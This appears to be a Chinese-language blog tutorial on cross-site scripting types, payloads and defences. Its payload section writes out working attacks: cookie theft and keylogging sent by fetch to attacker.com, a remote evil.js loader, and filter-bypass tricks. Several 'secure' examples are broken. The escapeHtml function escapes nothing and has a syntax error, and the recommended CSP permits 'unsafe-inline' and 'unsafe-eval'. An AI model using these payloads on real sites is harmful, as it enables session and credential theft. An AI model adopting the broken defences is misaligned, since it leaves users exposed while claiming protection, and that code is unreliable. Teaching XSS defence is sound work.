XSS攻击原理与分类

发布时间: 2025-03-23 13:05

↑

# XSS攻击原理与分类

## XSS漏洞概述

XSS（Cross-Site Scripting）跨站脚本攻击是一种常见的Web安全漏洞。攻击者通过在目标网站上注入恶意脚本，当其他用户浏览页面时，这些脚本会在用户的浏览器中执行，从而达到窃取用户数据、劫持用户会话或者篡改网页内容等目的。

## XSS攻击分类

### 1. 反射型XSS

```javascript
// 不安全的用户输入处理
app.get('/search', (req, res) => {
    const query = req.query.q;
    // 直接将用户输入拼接到HTML中
    res.send(`<h1>搜索结果: ${query}</h1>`);
});

// 安全的实现
app.get('/search', (req, res) => {
    const query = escapeHtml(req.query.q);
    res.send(`<h1>搜索结果: ${query}</h1>`);
});

function escapeHtml(text) {
    return text
        .replace(/&/g, '&')
        .replace(/</g, '<')
        .replace(/>/g, '>')
        .replace(/"/g, '"')
        .replace(/'/g, ''');
}
```

反射型XSS的特点：
1. 非持久性，需要用户点击特制的链接
2. 攻击代码存在于URL中
3. 服务器直接将用户输入反射到响应页面
4. 一般结合社会工程学进行攻击

### 2. 存储型XSS

```javascript
// 不安全的评论系统实现
class CommentSystem {
    async saveComment(comment) {
        // 直接存储用户输入
        await db.comments.insert({
            content: comment,
            date: new Date()
        });
    }
    
    async displayComments() {
        const comments = await db.comments.find();
        return comments.map(c => `
            <div class="comment">
                ${c.content}
            </div>
        `).join('');
    }
}

// 安全的实现
class SecureCommentSystem {
    async saveComment(comment) {
        // 服务端验证和过滤
        const sanitizedComment = this.sanitizeInput(comment);
        await db.comments.insert({
            content: sanitizedComment,
            date: new Date()
        });
    }
    
    sanitizeInput(input) {
        // 使用DOMPurify等库进行XSS过滤
        return DOMPurify.sanitize(input, {
            ALLOWED_TAGS: ['b', 'i', 'em', 'strong'],
            ALLOWED_ATTR: []
        });
    }
    
    async displayComments() {
        const comments = await db.comments.find();
        return comments.map(c => `
            <div class="comment">
                ${this.sanitizeOutput(c.content)}
            </div>
        `).join('');
    }
    
    sanitizeOutput(content) {
        return DOMPurify.sanitize(content);
    }
}
```

存储型XSS的特点：
1. 持久性攻击，恶意代码存储在服务器
2. 影响面广，所有访问页面的用户都可能受害
3. 不需要用户点击特定链接
4. 危害程度更大

### 3. DOM型XSS

```javascript
// 不安全的DOM操作
function updateProfile() {
    // 直接从URL获取参数并更新DOM
    const name = new URLSearchParams(location.search).get('name');
    document.getElementById('greeting').innerHTML = 
        `Welcome, ${name}!`;
}

// 安全的实现
function secureUpdateProfile() {
    const name = new URLSearchParams(location.search).get('name');
    // 使用textContent而不是innerHTML
    document.getElementById('greeting').textContent = 
        `Welcome, ${name}!`;
}

// 更安全的实现：使用模板引擎
const template = Handlebars.compile(
    document.getElementById('greeting-template').innerHTML
);

function templateUpdateProfile() {
    const name = new URLSearchParams(location.search).get('name');
    const html = template({ name: name });
    document.getElementById('greeting').innerHTML = html;
}
```

DOM型XSS的特点：
1. 完全基于前端JavaScript的漏洞
2. 不涉及服务器端代码
3. 主要由不安全的DOM操作引起
4. 难以通过服务器端防御

## 攻击载荷分析

### 1. 基础攻击载荷

```javascript
// 常见的XSS攻击载荷

// 1. 弹窗攻击
<script>alert('XSS')</script>

// 2. 获取cookie
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

// 3. 键盘记录
<script>
    document.addEventListener('keypress', function(e) {
        fetch('http://attacker.com/keylog?key=' + e.key);
    });
</script>

// 4. 网页篡改
<script>
    document.body.innerHTML = 'Site hacked!';
</script>
```

### 2. 高级攻击技术

```javascript
// 1. 绕过长度限制
<script src="http://attacker.com/evil.js"></script>

// 2. 绕过过滤器
<scr<script>ipt>alert('XSS')</script>

// 3. 利用事件处理器
<img src="x" onerror="alert('XSS')">

// 4. 利用编码
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
```

## 防护措施

### 1. 输入验证与过滤

```javascript
// 前端输入验证
function validateInput(input) {
    // 移除危险字符
    return input.replace(/<[^>]*>/g, '');
}

// 服务端验证
class InputValidator {
    static sanitize(input) {
        // 使用验证库
        return validator.escape(input);
    }
    
    static validateAndSanitize(input, rules) {
        if (!this.validate(input, rules)) {
            throw new ValidationError('Invalid input');
        }
        return this.sanitize(input);
    }
}
```

### 2. 输出编码

```javascript
// HTML编码函数
function encodeHTML(text) {
    const div = document.createElement('div');
    div.textContent = text;
    return div.innerHTML;
}

// JavaScript编码
function encodeJS(text) {
    return JSON.stringify(text);
}

// URL编码
function encodeURL(text) {
    return encodeURIComponent(text);
}
```

### 3. 安全HTTP头部

```javascript
// Express中间件设置安全头部
app.use((req, res, next) => {
    // 设置X-XSS-Protection头
    res.setHeader('X-XSS-Protection', '1; mode=block');
    
    // 设置Content-Security-Policy
    res.setHeader('Content-Security-Policy', 
        "default-src 'self'; " +
        "script-src 'self' 'unsafe-inline' 'unsafe-eval'; " +
        "style-src 'self' 'unsafe-inline';");
    
    next();
});
```

## 最佳实践

1. 输入处理
   - 验证所有用户输入
   - 使用白名单而不是黑名单
   - 对不同上下文使用不同的过滤规则

2. 输出处理
   - 始终对输出进行编码
   - 根据输出位置选择正确的编码方式
   - 使用成熟的编码库

3. 框架与库
   - 使用现代前端框架（React、Vue等）
   - 利用框架的XSS防护机制
   - 保持依赖包更新

4. 配置与部署
   - 启用浏览器XSS过滤器
   - 配置CSP策略
   - 使用HTTPS

## 总结

XSS攻击防护需要多层次的安全措施：

1. 开发阶段
   - 使用安全的API和框架
   - 实施输入验证和输出编码
   - 编写安全的代码

2. 配置阶段
   - 设置安全头部
   - 配置CSP策略
   - 启用安全选项

3. 运维阶段
   - 定期安全扫描
   - 及时修复漏洞
   - 监控异常行为

元素码农